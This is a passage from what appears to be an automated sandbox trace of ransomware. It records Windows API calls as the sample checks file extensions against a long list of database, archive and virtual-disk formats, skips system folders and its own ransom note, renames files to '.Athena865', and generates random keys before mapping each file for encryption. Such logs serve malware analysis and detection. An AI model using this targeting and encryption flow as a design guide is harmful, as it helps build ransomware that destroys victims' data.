lpString2="vmdk") returned -1 [0042.575] lstrlenW (lpString="rar") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.575] lstrlenW (lpString="zip") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.575] lstrlenW (lpString="tgz") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.575] lstrlenW (lpString="vbox") returned 4 [0042.575] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.575] lstrlenW (lpString="vdi") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.575] lstrlenW (lpString="vhd") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.575] lstrlenW (lpString="vhdx") returned 4 [0042.575] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.575] lstrlenW (lpString="avhd") returned 4 [0042.575] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.575] lstrlenW (lpString="db") returned 2 [0042.575] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.575] lstrlenW (lpString="db2") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.575] lstrlenW (lpString="db3") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.575] lstrlenW (lpString="dbf") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.575] lstrlenW (lpString="mdf") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.575] lstrlenW (lpString="mdb") returned 3 [0042.575] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.575] lstrlenW (lpString="sql") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.576] lstrlenW (lpString="sqlite") returned 6 [0042.576] lstrcmpiW (lpString1="re.dll", lpString2="sqlite") returned -1 [0042.576] lstrlenW (lpString="sqlite3") returned 7 [0042.576] lstrcmpiW (lpString1="ore.dll", lpString2="sqlite3") returned -1 [0042.576] lstrlenW (lpString="sqlitedb") returned 8 [0042.576] lstrcmpiW (lpString1="Core.dll", lpString2="sqlitedb") returned -1 [0042.576] lstrlenW (lpString="xml") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.576] lstrlenW (lpString="$er") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.576] lstrlenW (lpString="4dd") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.576] lstrlenW (lpString="4dl") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.576] lstrlenW (lpString="^^^") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.576] lstrlenW (lpString="abs") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.576] lstrlenW (lpString="abx") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.576] lstrlenW (lpString="accdb") returned 5 [0042.576] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0042.576] lstrlenW (lpString="accdc") returned 5 [0042.576] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0042.576] lstrlenW (lpString="accde") returned 5 [0042.576] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0042.576] lstrlenW (lpString="accdr") returned 5 [0042.576] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0042.576] lstrlenW (lpString="accdt") returned 5 [0042.576] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0042.576] lstrlenW (lpString="accdw") returned 5 [0042.576] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0042.576] lstrlenW (lpString="accft") returned 5 [0042.576] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0042.576] lstrlenW (lpString="adb") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.576] lstrlenW (lpString="adb") returned 3 [0042.576] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.577] lstrlenW (lpString="ade") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.577] lstrlenW (lpString="adf") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.577] lstrlenW (lpString="adn") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.577] lstrlenW (lpString="adp") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.577] lstrlenW (lpString="alf") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.577] lstrlenW (lpString="ask") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.577] lstrlenW (lpString="btr") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.577] lstrlenW (lpString="cat") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.577] lstrlenW (lpString="cdb") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.577] lstrlenW (lpString="ckp") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.577] lstrlenW (lpString="cma") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.577] lstrlenW (lpString="cpd") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.577] lstrlenW (lpString="dacpac") returned 6 [0042.577] lstrcmpiW (lpString1="re.dll", lpString2="dacpac") returned 1 [0042.577] lstrlenW (lpString="dad") returned 3 [0042.577] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.577] lstrlenW (lpString="dadiagrams") returned 10 [0042.577] lstrcmpiW (lpString1="erCore.dll", lpString2="dadiagrams") returned 1 [0042.577] lstrlenW (lpString="daschema") returned 8 [0042.577] lstrcmpiW (lpString1="Core.dll", lpString2="daschema") returned -1 [0042.577] lstrlenW (lpString="db-journal") returned 10 [0042.577] lstrcmpiW (lpString1="erCore.dll", lpString2="db-journal") returned 1 [0042.577] lstrlenW (lpString="db-shm") returned 6 [0042.577] lstrcmpiW (lpString1="re.dll", lpString2="db-shm") returned 1 [0042.577] lstrlenW (lpString="db-wal") returned 6 [0042.577] lstrcmpiW (lpString1="re.dll", lpString2="db-wal") returned 1 [0042.577] lstrlenW (lpString="dbc") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.578] lstrlenW (lpString="dbs") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.578] lstrlenW (lpString="dbt") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.578] lstrlenW (lpString="dbv") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.578] lstrlenW (lpString="dbx") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.578] lstrlenW (lpString="dcb") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.578] lstrlenW (lpString="dct") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.578] lstrlenW (lpString="dcx") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.578] lstrlenW (lpString="ddl") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.578] lstrlenW (lpString="dlis") returned 4 [0042.578] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.578] lstrlenW (lpString="dp1") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.578] lstrlenW (lpString="dqy") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.578] lstrlenW (lpString="dsk") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.578] lstrlenW (lpString="dsn") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.578] lstrlenW (lpString="dtsx") returned 4 [0042.578] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0042.578] lstrlenW (lpString="dxl") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0042.578] lstrlenW (lpString="eco") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0042.578] lstrlenW (lpString="ecx") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0042.578] lstrlenW (lpString="edb") returned 3 [0042.578] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0042.578] lstrlenW (lpString="epim") returned 4 [0042.579] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0042.579] lstrlenW (lpString="fcd") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0042.579] lstrlenW (lpString="fdb") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0042.579] lstrlenW (lpString="fic") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0042.579] lstrlenW (lpString="flexolibrary") returned 12 [0042.579] lstrcmpiW (lpString1="ilerCore.dll", lpString2="flexolibrary") returned 1 [0042.579] lstrlenW (lpString="fm5") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0042.579] lstrlenW (lpString="fmp") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0042.579] lstrlenW (lpString="fmp12") returned 5 [0042.579] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0042.579] lstrlenW (lpString="fmpsl") returned 5 [0042.579] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0042.579] lstrlenW (lpString="fol") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0042.579] lstrlenW (lpString="fp3") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0042.579] lstrlenW (lpString="fp4") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0042.579] lstrlenW (lpString="fp5") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0042.579] lstrlenW (lpString="fp7") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0042.579] lstrlenW (lpString="fpt") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0042.579] lstrlenW (lpString="frm") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0042.579] lstrlenW (lpString="gdb") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.579] lstrlenW (lpString="gdb") returned 3 [0042.579] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.579] lstrlenW (lpString="grdb") returned 4 [0042.579] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0042.580] lstrlenW (lpString="gwi") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0042.580] lstrlenW (lpString="hdb") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0042.580] lstrlenW (lpString="his") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0042.580] lstrlenW (lpString="ib") returned 2 [0042.580] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0042.580] lstrlenW (lpString="idb") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0042.580] lstrlenW (lpString="ihx") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0042.580] lstrlenW (lpString="itdb") returned 4 [0042.580] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0042.580] lstrlenW (lpString="itw") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0042.580] lstrlenW (lpString="jet") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0042.580] lstrlenW (lpString="jtx") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0042.580] lstrlenW (lpString="kdb") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0042.580] lstrlenW (lpString="kexi") returned 4 [0042.580] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0042.580] lstrlenW (lpString="kexic") returned 5 [0042.580] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0042.580] lstrlenW (lpString="kexis") returned 5 [0042.580] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0042.580] lstrlenW (lpString="lgc") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0042.580] lstrlenW (lpString="lwx") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0042.580] lstrlenW (lpString="maf") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0042.580] lstrlenW (lpString="maq") returned 3 [0042.580] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0042.581] lstrlenW (lpString="mar") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0042.581] lstrlenW (lpString="marshal") returned 7 [0042.581] lstrcmpiW (lpString1="ore.dll", lpString2="marshal") returned 1 [0042.581] lstrlenW (lpString="mas") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0042.581] lstrlenW (lpString="mav") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0042.581] lstrlenW (lpString="maw") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0042.581] lstrlenW (lpString="mdbhtml") returned 7 [0042.581] lstrcmpiW (lpString1="ore.dll", lpString2="mdbhtml") returned 1 [0042.581] lstrlenW (lpString="mdn") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0042.581] lstrlenW (lpString="mdt") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0042.581] lstrlenW (lpString="mfd") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0042.581] lstrlenW (lpString="mpd") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0042.581] lstrlenW (lpString="mrg") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0042.581] lstrlenW (lpString="mud") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0042.581] lstrlenW (lpString="mwb") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0042.581] lstrlenW (lpString="myd") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0042.581] lstrlenW (lpString="ndf") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0042.581] lstrlenW (lpString="nnt") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0042.581] lstrlenW (lpString="nrmlib") returned 6 [0042.581] lstrcmpiW (lpString1="re.dll", lpString2="nrmlib") returned 1 [0042.581] lstrlenW (lpString="ns2") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0042.581] lstrlenW (lpString="ns3") returned 3 [0042.581] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0042.582] lstrlenW (lpString="ns4") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0042.582] lstrlenW (lpString="nsf") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0042.582] lstrlenW (lpString="nv") returned 2 [0042.582] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0042.582] lstrlenW (lpString="nv2") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0042.582] lstrlenW (lpString="nwdb") returned 4 [0042.582] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0042.582] lstrlenW (lpString="nyf") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0042.582] lstrlenW (lpString="odb") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.582] lstrlenW (lpString="odb") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.582] lstrlenW (lpString="oqy") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0042.582] lstrlenW (lpString="ora") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0042.582] lstrlenW (lpString="orx") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0042.582] lstrlenW (lpString="owc") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0042.582] lstrlenW (lpString="p96") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0042.582] lstrlenW (lpString="p97") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0042.582] lstrlenW (lpString="pan") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0042.582] lstrlenW (lpString="pdb") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0042.582] lstrlenW (lpString="pdm") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0042.582] lstrlenW (lpString="pnz") returned 3 [0042.582] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0042.583] lstrlenW (lpString="qry") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0042.583] lstrlenW (lpString="qvd") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0042.583] lstrlenW (lpString="rbf") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0042.583] lstrlenW (lpString="rctd") returned 4 [0042.583] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0042.583] lstrlenW (lpString="rod") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0042.583] lstrlenW (lpString="rodx") returned 4 [0042.583] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0042.583] lstrlenW (lpString="rpd") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0042.583] lstrlenW (lpString="rsd") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0042.583] lstrlenW (lpString="sas7bdat") returned 8 [0042.583] lstrcmpiW (lpString1="Core.dll", lpString2="sas7bdat") returned -1 [0042.583] lstrlenW (lpString="sbf") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0042.583] lstrlenW (lpString="scx") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0042.583] lstrlenW (lpString="sdb") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0042.583] lstrlenW (lpString="sdc") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0042.583] lstrlenW (lpString="sdf") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0042.583] lstrlenW (lpString="sis") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0042.583] lstrlenW (lpString="spq") returned 3 [0042.583] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0042.583] lstrlenW (lpString="te") returned 2 [0042.583] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0042.583] lstrlenW (lpString="teacher") returned 7 [0042.583] lstrcmpiW (lpString1="ore.dll", lpString2="teacher") returned -1 [0042.584] lstrlenW (lpString="tmd") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0042.584] lstrlenW (lpString="tps") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0042.584] lstrlenW (lpString="trc") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.584] lstrlenW (lpString="trc") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.584] lstrlenW (lpString="trm") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0042.584] lstrlenW (lpString="udb") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0042.584] lstrlenW (lpString="udl") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0042.584] lstrlenW (lpString="usr") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0042.584] lstrlenW (lpString="v12") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0042.584] lstrlenW (lpString="vis") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0042.584] lstrlenW (lpString="vpd") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0042.584] lstrlenW (lpString="vvv") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0042.584] lstrlenW (lpString="wdb") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0042.584] lstrlenW (lpString="wmdb") returned 4 [0042.584] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0042.584] lstrlenW (lpString="wrk") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0042.584] lstrlenW (lpString="xdb") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0042.584] lstrlenW (lpString="xld") returned 3 [0042.584] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0042.584] lstrlenW (lpString="xmlff") returned 5 [0042.584] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0042.584] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll.Athena865") returned 69 [0042.585] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll" (normalized: "c:\\program files (x86)\\internet explorer\\jsprofilercore.dll"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\jsprofilercore.dll.athena865"), dwFlags=0x1) returned 1 [0042.586] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\JSProfilerCore.dll.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\jsprofilercore.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.586] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=119808) returned 1 [0042.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.586] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.586] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.587] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.587] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.587] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d700, lpName=0x0) returned 0x17c [0042.589] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d700) returned 0x100000 [0042.596] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0042.596] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.596] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0042.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0042.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0042.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0042.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x530908 [0042.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0042.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530908 | out: hHeap=0x4f0000) returned 1 [0042.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0042.597] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.598] CloseHandle (hObject=0x17c) returned 1 [0042.598] CloseHandle (hObject=0x154) returned 1 [0042.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0042.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0042.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.601] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2aa96b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2aa96b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2acf818, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".") returned 1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="..") returned 1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="windows") returned -1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="bootmgr") returned 1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="temp") returned -1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="pagefile.sys") returned -1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="boot") returned 1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="ids.txt") returned 1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="ntuser.dat") returned -1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="perflogs") returned -1 [0042.601] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2="MSBuild") returned -1 [0042.601] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0042.601] lstrcpyW (in: lpString1=0x241e89a, lpString2="jsprofilerui.dll" | out: lpString1="jsprofilerui.dll") returned="jsprofilerui.dll" [0042.602] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0042.602] lstrlenW (lpString="Athena865") returned 9 [0042.602] lstrcmpiW (lpString1="lerui.dll", lpString2="Athena865") returned 1 [0042.602] lstrlenW (lpString=".dll") returned 4 [0042.602] lstrcmpiW (lpString1="jsprofilerui.dll", lpString2=".dll") returned 1 [0042.602] lstrlenW (lpString=".lnk") returned 4 [0042.602] lstrcmpiW 